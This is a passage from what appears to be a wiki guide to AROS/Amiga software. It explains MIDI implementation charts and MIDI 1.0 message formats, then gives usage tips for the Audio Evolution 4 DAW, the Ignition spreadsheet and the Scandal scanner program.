The left hand column defines which MIDI functions are being described.
The 2nd column defines what the device in question is capable of transmitting to another device.
The 3rd column defines what the device is capable of responding to.
The 4th column is for explanations of the values contained within these previous two columns.
&lt;/pre&gt;

There should then be twelve sections, with possibly a thirteenth containing extra &quot;Notes&quot;. Finally there should be an explanation of the four MIDI &quot;modes&quot; and what the &quot;X&quot; and the &quot;O&quot; mean.
&lt;pre&gt;
Mode 1: Omni On, Poly; 
Mode 2: Omni On, Mono; 
Mode 3: Omni Off, Poly; 
Mode 4: Omni Off, Mono.
&lt;/pre&gt;
O means &quot;yes&quot; (implemented), X means &quot;no&quot; (not implemented).

Sometimes you will find a row of asterisks &quot;**************&quot;, these seem to indicate that the data is not applicable in this case. Seen in the transmitted field only (unless you've seen otherwise).

Lastly you may find against some entries an asterisk followed by a number e.g. *1, these will refer you to further information, often on a following page, giving more detail.

Basic Channel
But the very first set of boxes will tell us the &quot;Basic Channel(s)&quot; that the device sends or receives on. 
&quot;Default&quot; is what happens when the device is first turned on, &quot;changed&quot; is what a switch of some kind may allow the device to be set to. 
For many devices e.g. a GM sound module or a home keyboard, this would be 1-16 for both. That is it can handle sending and receiving on all MIDI channels.

On other devices, for example a synthesiser, it may by default only work on channel 1. But the keyboard could be &quot;split&quot; with the lower notes e.g. on channel 2. If the synth has an arppegiator, this may be able to be set to transmit and or receive on yet another channel.
So we might see the default as &quot;1&quot; but the changed as &quot;1-16&quot;.

Modes.
We need to understand Omni On and Off, and Mono and Poly, then we can decipher the four modes.

But first we need to understand that any of these four Mode messages can be sent to any MIDI channel. They don't necessarily apply to the whole device.

If we send an &quot;Omni On&quot; message (CC#125) to a MIDI channel of a device, we are, in effect, asking it to respond to e.g. a Note On / Off message pair, received on any of the sixteen channels. Sound strange? Read it again. Still strange? It certainly is. We normally want a MIDI channel to respond only to Note On / Off messages sent on that channel, not any other. In other words, &quot;Omni Off&quot;.

So &quot;Omni Off&quot; (CC#124) tells a channel of our MIDI device to respond only to messages sent on that MIDI channel.

&quot;Poly&quot; (CC#127) is for e.g. a channel of a polyphonic sound module, or a home keyboard, to be able to respond to many simultaneous Note On / Off message pairs at once and produce musical chords.

&quot;Mono&quot; (CC#126) allows us to set a channel to respond as if it were e.g. a flute or a trumpet, playing just one note at a time. If the device is capable of it, then the overlapping of notes will produce legato playing, that is the attack portion of the second note of two overlapping notes will be removed resulting in a &quot;smoother&quot; transition.

So a channel with a piano voice assigned to it will have Omni Off, Poly On (Mode 3), a channel with a saxophone voice assigned could be Omni Off, Mono On (Mode 4).

We call these combinations the four modes, 1 to 4, as defined above. 
Most modern devices will have their channels set to Mode 3 (Omni Off, Poly) but be switchable, on a per channel basis, to Mode 4 (Omni Off, Mono).

This second section of data will include first its default value i.e. upon device switch on. Then what Mode messages are acceptable, or X if none.

Finally, in the &quot;Altered&quot; field, how a Mode message that can't be implemented will be interpreted. Usually there will just be a row of asterisks effectively meaning nothing will be done if you try to switch to an unimplemented mode.

Note Number
&lt;pre&gt;
The next row will tell us which MIDI notes the device can send or receive, normally 0-127.
The second line, &quot;True Voice&quot; has the following in the MIDI specification: 
&quot;Range of received note numbers falling within the range of true notes produced by the instrument.&quot;
My interpretation is that, for instance, a MIDI piano may be capable of sending all MIDI notes (0 to 127) by transposition, but only responding to the 88 notes (21 to 108) of a real piano. 
&lt;/pre&gt;

Velocity
This will tell us whether the device we're looking at will handle note velocity, and what range from 1-127, or maybe just 64, it transmits or will recognise. So usually &quot;O&quot; plus a range or &quot;X&quot; for not implemented.

After touch
This may have one or two lines two it.
If a one liner the either &quot;O&quot; or &quot;X&quot;, yes or no.
If a two liner then it may include &quot;Keys&quot; or &quot;Poly&quot; and &quot;Channel&quot;.
This will show whether the device will respond to Polyphonic after touch or channel after touch or neither.

Pitch Bend
Again &quot;O&quot; for implemented, &quot;X&quot; for not implemented.
(Many stage pianos will have no pitch bend capability.)
It may also, in the notes section, state whether it will respond to the full 14 bits, or not, as usually encoded by the pitch bend wheel.

Control Change
This is likely to be the largest section of the chart.
It will list all those controllers, starting from CC#0, Bank Select MSB, which the device is capable of sending, and those that it will respond to using &quot;O&quot; or &quot;X&quot; respectively.
You will, almost certainly, get some further explanation of functionality in the remarks column, or in more detail elsewhere in the documentation.

Of course you will need to know what all the various controller numbers do. Lots of the official technical specifications can be found at the [www.midi.org/techspecs/ MMA], with the table of messages and control change [www.midi.org/techspecs/midimessages.php message numbers]

Program Change
Again &quot;O&quot; or &quot;X&quot; in the Transmitted or Recognised column to indicate whether or not the feature is implemented. In addition a range of numbers is shown, typically 0-127, to show what is available.
True # (number): &quot;The range of the program change numbers which correspond to the actual number of patches selected.&quot;

System Exclusive
Used to indicate whether or not the device can send or recognise System Exclusive messages. A short description is often given in the Remarks field followed by a detailed explanation elsewhere in the documentation.

System Common - These include the following:
&lt;pre&gt;
MIDI Time Code Quarter Frame messages (device synchronisation).
Song Position Pointer
Song Select
Tune Request
&lt;/pre&gt;
The section will indicate whether or not the device can send or respond to any of these messages.

System Real Time
These include the following:
&lt;pre&gt;
Timing Clock - often just written as &quot;Clock&quot;
Start
Stop
Continue
&lt;/pre&gt;
These three are usually just referred to as &quot;Commands&quot; and listed.
Again the section will indicate which, if any, of these messages the device can send or respond to.
&lt;pre&gt;
Aux. Messages
Again &quot;O&quot; or &quot;X&quot; for implemented or not.
Aux. = Auxiliary.
Active Sense = Active Sensing.
&lt;/pre&gt;
Often with an explanation of the action of the device.

Notes
The &quot;Notes&quot; section can contain any additional comments to clarify the particular implementation.

Some of the explanations have been drawn directly from the MMA MIDI 1.0 Detailed Specification.
And the detailed explanation of some of the functions will be found there, or in the General MIDI System Level 1 or General MIDI System Level 2 documents also published by the MMA.


 OFFICIAL MIDI SPECIFICATIONS

SUMMARY OF MIDI MESSAGES
Table 1 - Summary of MIDI Messages

The following table lists the major MIDI messages in numerical (binary) order (adapted from &quot;MIDI by the Numbers&quot; by D. Valenti, Electronic Musician 2/88, and updated by the MIDI Manufacturers Association.). This table is intended as an overview of MIDI, and is by no means complete.

WARNING! Details about implementing these messages can dramatically impact compatibility with other products. We strongly recommend consulting the official MIDI Specifications for additional information.

MIDI 1.0 Specification

Message Summary Channel Voice Messages [nnnn = 0-15 (MIDI Channel Number 1-16)]

{| class=&quot;wikitable sortable&quot; width=&quot;90%&quot;
! width=&quot;10%&quot;  |Status D7----D0 
! width=&quot;10%&quot;  |Data Byte(s) D7----D0 
! width=&quot;20%&quot;  |Description
|-
|&lt;!--Status--&gt;1000nnnn || &lt;!--Data--&gt;0kkkkkkk 0vvvvvvv || &lt;!--Description--&gt;Note Off event. 
This message is sent when a note is released (ended). (kkkkkkk) is the key (note) number. (vvvvvvv) is the velocity.
|-
|&lt;!--Status--&gt;1001nnnn || &lt;!--Data--&gt;0kkkkkkk 0vvvvvvv || &lt;!--Description--&gt;Note On event. 
This message is sent when a note is depressed (start). (kkkkkkk) is the key (note) number. (vvvvvvv) is the velocity.
|-
|&lt;!--Status--&gt;1010nnnn || &lt;!--Data--&gt;0kkkkkkk 0vvvvvvv || &lt;!--Description--&gt;Polyphonic Key Pressure (Aftertouch). 
This message is most often sent by pressing down on the key after it &quot;bottoms out&quot;. (kkkkkkk) is the key (note) number. (vvvvvvv) is the pressure value.
|-
|&lt;!--Status--&gt;1011nnnn || &lt;!--Data--&gt;0ccccccc 0vvvvvvv || &lt;!--Description--&gt;Control Change. 
This message is sent when a controller value changes. Controllers include devices such as pedals and levers. Controller numbers 120-127 are reserved as &quot;Channel Mode Messages&quot; (below). (ccccccc) is the controller number (0-119). (vvvvvvv) is the controller value (0-127).
|-
|&lt;!--Status--&gt;1100nnnn || &lt;!--Data--&gt;0ppppppp || &lt;!--Description--&gt;Program Change. This message sent when the patch number changes. (ppppppp) is the new program number.
|-
|&lt;!--Status--&gt;1101nnnn || &lt;!--Data--&gt;0vvvvvvv || &lt;!--Description--&gt;Channel Pressure (After-touch). This message is most often sent by pressing down on the key after it &quot;bottoms out&quot;. This message is different from polyphonic after-touch. Use this message to send the single greatest pressure value (of all the current depressed keys). (vvvvvvv) is the pressure value.
|-
|&lt;!--Status--&gt;1110nnnn || &lt;!--Data--&gt;0lllllll 0mmmmmmm || &lt;!--Description--&gt;Pitch Bend Change. This message is sent to indicate a change in the pitch bender (wheel or lever, typically). The pitch bender is measured by a fourteen bit value. Center (no pitch change) is 2000H. Sensitivity is a function of the receiver, but may be set using RPN 0. (lllllll) are the least significant 7 bits. (mmmmmmm) are the most significant 7 bits.
|}

Channel Mode Messages (See also Control Change, above)

{| class=&quot;wikitable sortable&quot; width=&quot;90%&quot;
! width=&quot;10%&quot;  |Status D7----D0 
! width=&quot;10%&quot;  |Data Byte(s) D7----D0 
! width=&quot;20%&quot;  |Description
|-
|&lt;!--Status--&gt;1011nnnn || &lt;!--Data--&gt;0ccccccc 0vvvvvvv || &lt;!--Description--&gt;Channel Mode Messages. 
This the same code as the Control Change (above), but implements Mode control and special message by using reserved controller numbers 120-127. The commands are:
*All Sound Off. When All Sound Off is received all oscillators will turn off, and their volume envelopes are set to zero as soon as possible c = 120, v = 0: All Sound Off
*Reset All Controllers. When Reset All Controllers is received, all controller values are reset to their default values. (See specific Recommended Practices for defaults) c = 121, v = x: Value must only be zero unless otherwise allowed in a specific Recommended Practice.
*Local Control. When Local Control is Off, all devices on a given channel will respond only to data received over MIDI. Played data, etc. will be ignored. Local Control On restores the functions of the normal controllers. 
c = 122, v = 0: Local Control Off
c = 122, v = 127: Local Control On
* All Notes Off. When an All Notes Off is received, all oscillators will turn off. 
c = 123, v = 0: All Notes Off (See text for description of actual mode commands.)
c = 124, v = 0: Omni Mode Off 
c = 125, v = 0: Omni Mode On 
c = 126, v = M: Mono Mode On (Poly Off) where M is the number of channels (Omni Off) or 0 (Omni On) 
c = 127, v = 0: Poly Mode On (Mono Off) (Note: These four messages also cause All Notes Off)
|}

System Common Messages

System Messages (0xF0)

The final status nybble is a “catch all” for data that doesn’t fit the other statuses. They all use the most significant nybble (4bits) of 0xF, with the least significant nybble indicating the specific category.

The messages are denoted when the MSB of the second nybble is 1. When that bit is a 0, the messages fall into two other subcategories.

System Common

If the MSB of the second second nybble (4 bits) is not set, this indicates a System Common message. Most of these are messages that include some additional data bytes.

System Common Messages
Type Status Byte   Number of Data Bytes      Usage 
&lt;pre&gt;
Time Code Quarter Frame	0xF1	1	Indicates timing using absolute time code, primarily for synthronization with video playback systems. A single location requires eight messages to send the location in an encoded hours:minutes:seconds:frames format*.
Song Position	0xF2	2	Instructs a sequencer to jump to a new position in the song. The data bytes form a 14-bit value that expresses the location as the number of sixteenth notes from the start of the song.
Song Select	0xF3	1	Instructs a sequencer to select a new song. The data byte indicates the song.
Undefined	0xF4	0	
Undefined	0xF5	0	
Tune Request	0xF6	0	Requests that the receiver retunes itself**.
&lt;/pre&gt;
*MIDI Time Code (MTC) is significantly complex. Please see the MIDI Specification
**While modern digital instruments are good at staying in tune, older analog synthesizers were prone to tuning drift. Some analog synthesizers had an automatic tuning operation that could be initiated with this command.


System Exclusive

If you’ve been keeping track, you’ll notice there are two status bytes not yet defined: 0xf0 and 0xf7. These are used by the System Exclusive message, often abbreviated at SysEx. SysEx provides a path to send arbitrary data over a MIDI connection. There is a group of predefined messages for complex data, like fine grained control of MIDI Time code machinery. SysEx is also used to send manufacturer defined data, such as patches, or even firmware updates.

System Exclusive messages are longer than other MIDI messages, and can be any length. The messages are of the following format:

0xF0, 0xID, 0xdd, ...... 0xF7
The message is bookended with distinct bytes.

It opens with the Start Of Exclusive (SOX) data byte, 0xF0.
The next one to three bytes after the start are an identifier.
Values from 0x01 to 0x7C are one-byte vendor IDs, assigned to manufacturers who were involved with MIDI at the beginning.
If the ID is 0x00, it’s a three-byte vendor ID - the next two bytes of the message are the value.
&lt;pre&gt;
ID 0x7D is a placeholder for non-commercial entities.
ID 0x7E indicates a predefined Non-realtime SysEx message.
ID 0x7F indicates a predefined Realtime SysEx message.
&lt;/pre&gt;
After the ID is the data payload, sent as a stream of bytes.
The transfer concludes with the End of Exclusive (EOX) byte, 0xF7.
The payload data must follow the guidelines for MIDI data bytes – the MSB must not be set, so only 7 bits per byte are actually usable. If the MSB is set, it falls into three possible scenarios.

An End of Exclusive byte marks the ordinary termination of the SysEx transfer.
System Real Time messages may occur within the transfer without interrupting it. The recipient should handle them independently of the SysEx transfer.
Other status bytes implicitly terminate the SysEx transfer and signal the start of new messages.
 Some inexpensive USB-to-MIDI interfaces aren’t capable of handling messages longer than four bytes.

{| class=&quot;wikitable sortable&quot; width=&quot;90%&quot;
! width=&quot;10%&quot;  |Status D7----D0 
! width=&quot;10%&quot;  |Data Byte(s) D7----D0 
! width=&quot;20%&quot;  |Description
|-
|&lt;!--Status--&gt;11110000 || &lt;!--Data--&gt;0iiiiiii [0iiiiiii 0iiiiiii]  0ddddddd  --- --- 0ddddddd 11110111 || &lt;!--Description--&gt;System Exclusive. 
This message type allows manufacturers to create their own messages (such as bulk dumps, patch parameters, and other non-spec data) and provides a mechanism for creating additional MIDI Specification messages. The Manufacturer's ID code (assigned by MMA or AMEI) is either 1 byte (0iiiiiii) or 3 bytes (0iiiiiii 0iiiiiii 0iiiiiii). Two of the 1 Byte IDs are reserved for extensions called Universal Exclusive Messages, which are not manufacturer-specific. If a device recognizes the ID code as its own (or as a supported Universal message) it will listen to the rest of the message (0ddddddd). Otherwise, the message will be ignored. (Note: Only Real-Time messages may be interleaved with a System Exclusive.)
|-
|&lt;!--Status--&gt;11110001 || &lt;!--Data--&gt;0nnndddd || &lt;!--Description--&gt;MIDI Time Code Quarter Frame.
nnn = Message Type
dddd = Values
|-
|&lt;!--Status--&gt;11110010 || &lt;!--Data--&gt;0lllllll 0mmmmmmm || &lt;!--Description--&gt;Song Position Pointer. 
This is an internal 14 bit register that holds the number of MIDI beats (1 beat= six MIDI clocks) since the start of the song. l is the LSB, m the MSB.
|-
|&lt;!--Status--&gt;11110011 || &lt;!--Data--&gt;0sssssss || &lt;!--Description--&gt;Song Select. 
The Song Select specifies which sequence or song is to be played.
|-
|&lt;!--Status--&gt;11110100 || &lt;!--Data--&gt; || &lt;!--Description--&gt;Undefined. (Reserved)
|-
|&lt;!--Status--&gt;11110101 || &lt;!--Data--&gt; || &lt;!--Description--&gt;Undefined. (Reserved)
|-
|&lt;!--Status--&gt;11110110 || &lt;!--Data--&gt; || &lt;!--Description--&gt;Tune Request. Upon receiving a Tune Request, all analog synthesizers should tune their oscillators.
|-
|&lt;!--Status--&gt;11110111 || &lt;!--Data--&gt; || &lt;!--Description--&gt;End of Exclusive. Used to terminate a System Exclusive dump. 
|}


System Real-Time Messages

{| class=&quot;wikitable sortable&quot; width=&quot;90%&quot;
! width=&quot;10%&quot;  |Status D7----D0 
! width=&quot;10%&quot;  |Data Byte(s) D7----D0 
! width=&quot;20%&quot;  |Description
|-
|&lt;!--Status--&gt;11111000 || &lt;!--Data--&gt; || &lt;!--Description--&gt;Timing Clock. Sent 24 times per quarter note when synchronization is required.
|-
|&lt;!--Status--&gt;11111001 || &lt;!--Data--&gt; || &lt;!--Description--&gt;Undefined. (Reserved)
|-
|&lt;!--Status--&gt;11111010 || &lt;!--Data--&gt; || &lt;!--Description--&gt;Start. Start the current sequence playing. (This message will be followed with Timing Clocks).
|-
|&lt;!--Status--&gt;11111011 || &lt;!--Data--&gt; || &lt;!--Description--&gt;Continue. Continue at the point the sequence was Stopped.
|-
|&lt;!--Status--&gt;11111100 || &lt;!--Data--&gt; || &lt;!--Description--&gt;Stop. Stop the current sequence.
|-
|&lt;!--Status--&gt;11111101 || &lt;!--Data--&gt; || &lt;!--Description--&gt;Undefined. (Reserved)
|-
|&lt;!--Status--&gt;11111110 || &lt;!--Data--&gt; || &lt;!--Description--&gt;Active Sensing. This message is intended to be sent repeatedly to tell the receiver that a connection is alive. Use of this message is optional. When initially received, the receiver will expect to receive another Active Sensing message each 300ms (max), and if it does not then it will assume that the connection has been terminated. At termination, the receiver will turn off all voices and return to normal (non- active sensing) operation. 
|-
|&lt;!--Status--&gt;11111111 || &lt;!--Data--&gt; || &lt;!--Description--&gt;Reset. Reset all receivers in the system to power-up status. This should be used sparingly, preferably under manual control. In particular, it should not be sent on power-up.
|}


Advanced Messages

Polyphonic Pressure (0xA0) and Channel Pressure (0xD0)

Some MIDI controllers include a feature known as Aftertouch. While a key is being held down, the player can press harder on the key. The controller measures this, and converts it into MIDI messages.

Aftertouch comes in two flavors, with two different status messages.

The first flavor is polyphonic aftertouch, where every key on the controller is capable of sending its own independent pressure information. The messages are of the following format:
&lt;pre&gt;
0xnc, 0xkk, 0xpp
n is the status (0xA)
c is the channel nybble
kk is the key number (0 to 127)
pp is the pressure value (0 to 127)
&lt;/pre&gt;
Polyphonic aftertouch is an uncommon feature, usually found on premium quality instruments, because every key requires a separate pressure sensor, plus the circuitry to read them all.

Much more commonly found is channel aftertouch. Instead of needing a discrete sensor per key, it uses a single, larger sensor to measure pressure on all of the keys as a group. The messages omit the key number, leaving a two-byte format
&lt;pre&gt;
0xnc, 0xpp
n is the status (0xD)
c is the channel number
pp is the pressure value (0 to 127)
&lt;/pre&gt;

Pitch Bend (0xE0)

Many keyboards have a wheel or lever towards the left of the keys for pitch bend control. This control is usually spring-loaded, so it snaps back to the center of its range when released. This allows for both upward and downward bends.

Pitch Bend Wheel

The wheel sends pitch bend messages, of the format
&lt;pre&gt;
0xnc, 0xLL, 0xMM
n is the status (0xE)
c is the channel number
LL is the 7 least-significant bits of the value
MM is the 7 most-significant bits of the value
&lt;/pre&gt;
You’ll notice that the bender data is actually 14 bits long, transmitted as two 7-bit data bytes. This means that the recipient needs to reassemble those bytes using binary manipulation. 14 bits results in an overall range of 214, or 0 to 16,383. Because it defaults to the center of the range, the default value for the bender is halfway through that range, at 8192 (0x2000).

Control Change (0xB0)

In addition to pitch bend, MIDI has provisions for a wider range of expressive controls, sometimes known as continuous controllers, often abbreviated CC. These are transmitted by the remaining knobs and sliders on the keyboard controller shown below.


Continuous Controllers

These controls send the following message format:
&lt;pre&gt;
0xnc, 0xcc, 0xvv
n is the status (0xB)
c is the MIDI channel
cc is the controller number (0-127)
vv is the controller value (0-127)
&lt;/pre&gt;

Typically, the wheel next to the bender sends controller number one, assigned to modulation (or vibrato) depth. It is implemented by most instruments.

The remaining controller number assignments are another point of confusion. The MIDI specification was revised in version 2.0 to assign uses for many of the controllers. However, this implementation is not universal, and there are ranges of unassigned controllers.

On many modern MIDI devices, the controllers are assignable. On the controller keyboard shown in the photos, the various controls can be configured to transmit different controller numbers. Controller numbers can be mapped to particular parameters. Virtual synthesizers frequently allow the user to assign CCs to the on-screen controls. This is very flexible, but it might require configuration on both ends of the link and completely bypasses the assignments in the standard.


Program Change (0xC0)

Most synthesizers have patch storage memory, and can be told to change patches using the following command:
&lt;pre&gt;
0xnc, 0xpp
n is the status (0xc)
c is the channel
pp is the patch number (0-127)
&lt;/pre&gt;
This allows for 128 sounds to be selected, but modern instruments contain many more than 128 patches. Controller #0 is used as an additional layer of addressing, interpreted as a “bank select” command. Selecting a sound on such an instrument might involve two messages: a bank select controller message, then a program change.

Audio &amp; Midi are not synchronized, what I can do ?
Buy a commercial software package but there is a nasty trick to synchronize both. It's a bit hardcore but works for me:

 Simply put one line down to all midi notes on your pattern (use Insert key)
 and go to 'Misc. Setup', adjust the latency and just search a value
 that will make sound sync both audio/midi.

The stock Sin/Saw/Pulse and Rnd waveforms are too simple/common, is there a way to use something more complex/rich ?
You have to ability to redirect the waveforms of the instruments through the synth pipe by selecting the &quot;wav&quot; option for the oscillator you're using for this synth instrument, samples can be used as wavetables to replace the stock signals.


Sound banks like soundfont (sf2) or Kontakt2 are not supported at the moment


====DAW Audio Evolution 4====

Audio Evolution 4 gives you unsurpassed power for digital audio recording and editing on the Amiga. The latest release focusses on time-saving non-linear and non-destructive editing, as seen on other platforms. Besides editing, Audio Evolution 4 offers a wide range of realtime effects, including compression, noise gate, delays, reverb, chorus and 3-band EQ.

Whether you put them as inserts on a channel or use them as auxillaries, the effect parameters are realtime adjustable and can be fully automated. Together with all other mixing parameters, they can even be controlled remotely, using more ergonomic MIDI hardware.

Non-linear editing on the time line, including cut, copy, paste, move, split, trim and crossfade actions

The number of tracks per project(s) is unlimited .... AHI limits you to recording only two at a time. i.e. not on 8 track sound cards like the Juli@ or Phase 88.

sample file import is limited to 16bit AIFF (not AIFC, important distinction as some files from other sources can be AIFC with aiff file extention). and 16bit WAV (pcm only)


Most apps use the Music Unit only but a few apps also use Unit (0-3) instead or as well. 
* Set up AHI prefs so that microphone is available. (Input option near the bottom)


stereo++ allows the audio piece to be placed anywhere and the left-right adjusted to sound positionally right

hifi best for music playback if driver supports this option


Load 16bit .aif .aiff only sample(s) to use not AIFC which can have the same ending. AIFF stands for Audio Interchange File Format 

 sox recital.wav recital.aiff

 sox recital.wav −b 16 recital.aiff channels 1 rate 16k fade 3 norm
 sox input.wav        output.aiff bass −b 16 rate 48k

performs the same format translation, but also applies four effects (down-mix to one channel, sample rate change, fade-in, nomalize), and stores the result at a bit-depth of 16.

 rec −c 2 radio.aiff trim 0 30:00

records half an hour of stereo audio 

 play existing-file.wav


24bit PCM WAV or AIFF do not work 

*No stream format handling. So no way to pass on an AC3 encoded stream unmodified to the digital outputs through AHI.
*No master volume handling. Each application has to set its own volume. So each driver implements its own custom driver-mixer interface for handling master volumes, mute and preamps.
*Only one output stream. So all input gets mixed into one output.
*No automatic handling of output direction based on connected cables.
*No monitor input selection. Only monitor volume control. 


select the correct input (Don't mistake enabled sound for the correct input.)
The monitor will feedback audio to the lineout and hp out no matter if you have selected the correct input to the ADC. The monitor will provide sound for any valid input. This will result in free mixing when recording from the monitor input instead of mic/line because the monitor itself will provide the hardware mixing for you. Be aware that MIC inputs will give two channel mono. Only Linein will give real stereo.

Now for the not working part. Attempt to record from linein in the AE4 record window, the right channel is noise and the left channel is distorted. Even with the recommended HIFI 16bit Stereo++ mode at 48kHz.


Channels

Monitor

Gain

Inout

Output

Advanced settings - Debugging via serial port


* Options -&gt; Soundcard In/Out
* Options -&gt; SampleRate
* Options -&gt; Preferences

F6 for Sample File List

Setting a grid is easy as is measuring the BPM by marking a section of the sample. Is your kick drum track &quot;not in time&quot; ? If so, you're stumped in AE4 as it has no fancy variable time signatures and definitely no 'track this dodgy rhythm' function like software of the nature of Logic has. So if your drum beat is freeform you will need to work in freeform mode. (Real music is free form anyway).

If the drum *is* accurate and you are just having trouble measuring the time, I usually measure over a range of bars and set the number of beats in range to say 16 as this is more accurate, Then you will need to shift the drum track to match your grid *before* applying the grid. (probably an iterative process as when the grid is active samples snap to it, and when inactive you cannot see it).

AE4 does have ARexx but the functions are more for adding samples at set offsets and starting playback / recording.


These are the usual features found in DAWs...

* Recording digital audio, midi sequencer and mixer 
* virtual VST instruments and plug-ins 
* automation, group channels, MIDI channels, FX sends and returns, audio and MIDI editors and music notation editor


* different track views 
* mixer and track layout (but not the same as below) 
* traditional two windows (track and mixer)


Mixing - mixdown

Could not figure out how to select what part I wanted to send to the aux, set it to echo and return. Pretty much the whole echo effect. Or any effect.

Take look at page17 of the manual.

When you open the EQ / Aux send popup window you will see 4 sends. Now from the menu choose the windows menu.

Menus-&gt;Windows-&gt; Aux Returns Window

or press F5

You will see a small window with 4 volume controls and an effects button for each. Click a button and add an effects to that aux channel, then set it up as desired (note the reverb effect has a special AUX setting that improves its use with the aux channel, not compulsory but highly useful). You set the amount of 'return' on the main mix in the Aux Return window, and the amount sent from each main mixer channel in the popup for that channel. Again the aux sends are &quot;prefade&quot; so the volume faders on each channel do not affect them.


Tracking


Effects - fade in

To add some echoes to some vocals, tried to add an effect on a track but did not come out. This is made more complicated as I wanted to mute a vocal but then make it echo at the muting point. Want to have one word of a vocal heard and then echoed off. But when the track is mute the echo is cancelled out.

To correctly understand what is happening here you need to study the figure at the bottom of page 15 on the manual. You will see from that that the effects are applied 'prefade' So the automation you applied will naturally mute the entire signal.

There would be a number of ways to achieve the goal,

You have three real time effects slots, one for smoothing like so

Sample -&gt; Amplify -&gt; Delay

Then automate the gain of the amplify block so that it effectively mutes the sample just before the delay at the appropriate moment, the echo effect should then be heard.

Getting the effects in the right order will require experimentation as they can only be added top down and it's not obvious which order they are applied to the signal, but there only two possibilities, so it wont take long to find out.

Using MUTE can cause clicks to the Amplify can be used to mute more smoothly so that's a secondary advantage.

Signal Processing -


Overdub

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===Office===

====Spreadsheet Leu====

Support for some xlsx, and ods functions 


====Spreadsheet Ignition====

; Needs ABIv1 to be completed before more can be done

File formats supported 
* ascii #?.txt and #?.csv (single sheets with data only). 
* igs and TurboCalc(WIP) #?.tc for all sheets with data, formats and formulas.

There is '''no''' support for xls, xlsx, ods or uos ([http://en.wikipedia.org/wiki/Uniform_Office_Format Uniform Unified Office Format]) at the moment.

* Always use Esc key after editing Spreadsheet cells.
* copy/paste seems to copy the first instance only so go to Edit -&gt; Clipboard to manage the list of remembered actions. 
* Right mouse click on row (1 or 2 or 3) or column header (a or b or c)  to access optimal height or width of the row or column respectively 
* Edit -&gt; Insert -&gt; Row  seems to clear the spreadsheet or clears the rows after the inserted row until undo restores as it should be...

Change Sheet name by  Object -&gt; Sheet -&gt; Properties

Click in the cell which will contain the result, and click '''down arrow button''' to the right of the formula box at the bottom of the spreadsheet and choose the function required from the list provided. Then click on the start cell and click on the bottom right corner, a '''very''' small blob, which allows stretching a bounding box (thick grey outlines) across many cells This grey bounding box can be used to '''copy a formula''' to other cells.

Object -&gt; Cell -&gt; Properties to change cell format - Currency only covers DM and not $, Euro, Renminbi, Yen or Pound etc. 
Shift key and arrow keys selects a range of cells, so that '''formatting can be done to all highlighted cells'''. 
View -&gt; Overview then select ALL with one click (in empty cell in the top left hand corner of the sheet).

Default mode is relative cell referencing e.g. a1+a2 but absolute e.g. $a$1+$a$2 can be entered.

* #sheet-name to '''absolute''' reference another sheet-name cell unless reference() function used.

;Graphs

use shift key and arrow keys to select a bunch of cells to be graph'ed making sure that x axes represents and y axes represents

* value() - 0 value, 1 percent, 2 date, 3 time, 4 unit ...


;Dates 
* Excel starts a running count from the 1st Jan 1900 and Ignition starts from 1st Jan 1AD '''(maybe this needs to change)'''
Set formatting Object -&gt; Cell -&gt; Properties and put date in days


;Time 
Set formatting Object -&gt; Cell -&gt; Properties and put time in seconds taken


;Database (to be done by someone else)

type - standard, reference (bezug), search criterion (suchkriterium), 
* select a bunch of cells and Object -&gt; Database -&gt; Define to set Datenbank (database) and Felder (fields not sure how?) 
* Neu (new) or loschen (delete) to add/remove database headings e.g. Personal, Start Date, Finish Date (one per row?)
* Object -&gt; Database -&gt; Index to add fields (felder) like Surname, First Name, Employee ID, etc. to ?

Filtering done with dbfilter(), dbproduct() and dbposition().

Activities with dbsum(), dbaverage(), dbmin() and dbmax().

Table sorting -


;Scripts (Arexx)

;Excel(TM) to Ignition - commas ''',''' replaced by semi-colons ''';''' to separate values within functions 
*SUM(), 
*AVERAGE(), MAX(), MIN(), INT(), PRODUCT(), MEDIAN(), VAR() becomes Variance(), Percentile(),
*IF(), AND, OR, NOT 
*LEFT(), RIGHT(), MID() becomes MIDDLE(), LEN() becomes LENGTH(), 
*LOWER() becomes LOWERCASE(), UPPER() becomes UPPERCASE(),
* DATE(yyyy,mm,dd) becomes COMPUTEDATE(dd;mm;yyyy), 
*TODAY(), DAY(),WEEK(), MONTH(),=YEAR(TODAY()), 
*EOMONTH() becomes MONTHLENGTH(), 
*NOW() should be date and time becomes time only, SECOND(), MINUTE(), HOUR(),
*DBSUM() becomes DSUM(),


;Missing and possibly useful features/functions needed for ignition to have better support of Excel files 
There is no Merge and Join Text over many cells, no protect and/or freeze row or columns or books but can LOCK sheets, no define bunch of cells as a name, Macros (Arexx?), conditional formatting, no Solver, no Goal Seek, no Format Painter, no AutoFill, no AutoSum function button, no pivot tables, (30 argument limit applies to Excel)

*HLOOKUP(), VLOOKUP(), [http://production-scheduling.com/excel-index-function-most-useful/ INDEX(), MATCH()], CHOOSE(), TEXT(), 
*TRIM(), FIND(), SUBSTITUTE(), CONCATENATE() or &amp;, PROPER(), REPT(), 
*[https://acingexcel.com/excel-sumproduct-function/ SUMPRODUCT()], ROUND(), ROUNDUP(), *ROUNDDOWN(), COUNT(), COUNTA(), SUMIF(), COUNTIF(), COUNTBLANK(), TRUNC(), 
*PMT(), PV(), FV(), POWER(), SQRT(), MODE(), TRUE, FALSE, 
*MODE(), LARGE(), SMALL(), RANK(), STDEV(), 
*DCOUNT(), DCOUNTA(), WEEKDAY(),


;Excel Keyboard [http://dmcritchie.mvps.org/excel/shortx2k.htm shortcuts needed to aid usability in Ignition] 
&lt;pre&gt;
Ctrl Z - Undo

Ctrl D - Fill Down
Ctrl R - Fill right

Ctrl F - Find
Ctrl H - Replace

Ctrl 1 - Formatting of Cells
CTRL SHIFT ~ Apply General Formatting ie a number 
Ctrl ; - Todays Date 

F2 - Edit cell
F4 - toggle cell absolute / relative cell references

&lt;/pre&gt;


====Document Scanning - Scandal====

Scanner usually needs to be connected via a USB port and not via a hub or extension lead.

Check in Trident Prefs -&gt; Devices that the USB Scanner is not bound to anything (e.g. Bindings None)
If not found then reboot the computer and recheck.

Start Scandal, choose Settings from Menu strip at top of screen and in Scanner Driver choose the ?#.device of the scanner (e.g. epson2.device).

The next two boxes - leave empty as they are for morphos SCSI use only
 or put ata.device (use the selection option in bigger box below) and Unit as 0 this is needed for gt68xx

* gt68xx - no editing needed in s/gt68xx.conf but needs a firmware file that corresponds to the scanner [http://www.meier-geinitz.de/sane/gt68xx-backend/ gt68xx firmwares] in sys:s/gt68xx.
* epson2 - Need to edit the file epson2.conf in sys/s that corresponds to the scanner being used

'''Save''' the settings but do not press the Use button (aros freezes)

